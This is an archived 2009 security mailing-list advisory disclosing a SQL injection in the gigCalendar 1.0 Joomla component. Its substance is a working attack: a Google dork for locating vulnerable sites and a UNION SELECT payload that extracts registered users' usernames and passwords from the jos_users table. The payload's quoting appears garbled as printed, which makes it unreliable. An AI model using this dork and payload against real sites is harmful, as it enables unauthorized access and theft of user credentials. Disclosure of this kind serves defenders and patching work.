Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
gigCalendar 1.0 (venuedetails.php) Joomla Component SQL Injection

From: Salvatore \ (drosophilaxxxgmail.com)
Date: Sat Feb 21 2009 - 12:09:30 CST

******* Salvatore "drosophila" Fresta *******

Application: gigCalendar Joomla Component 1.0
Version: gigCalendar 1.0
Bug: * SQL Injection
Exploitation: Remote
Dork: inurl:"index.php?option=com_gigcal"
Date: 21 Feb 2009
Discovered by:Salvatore "drosophila" Fresta
Author: Salvatore "drosophila" Fresta
                        e-mail: drosophilaxxxgmail.com



SQL Injection:

        Requisites: magic_quotes_gpc = off

        File affected: venuedetails.php

        This bug allows a guest to view username and
        password of a registered user.

UNION ALL SELECT 1,concat('username: ',
', password),NULL,NULL,NULL,NULL,NULL,NULL FROM jos_users%23


Salvatore "drosophila" Fresta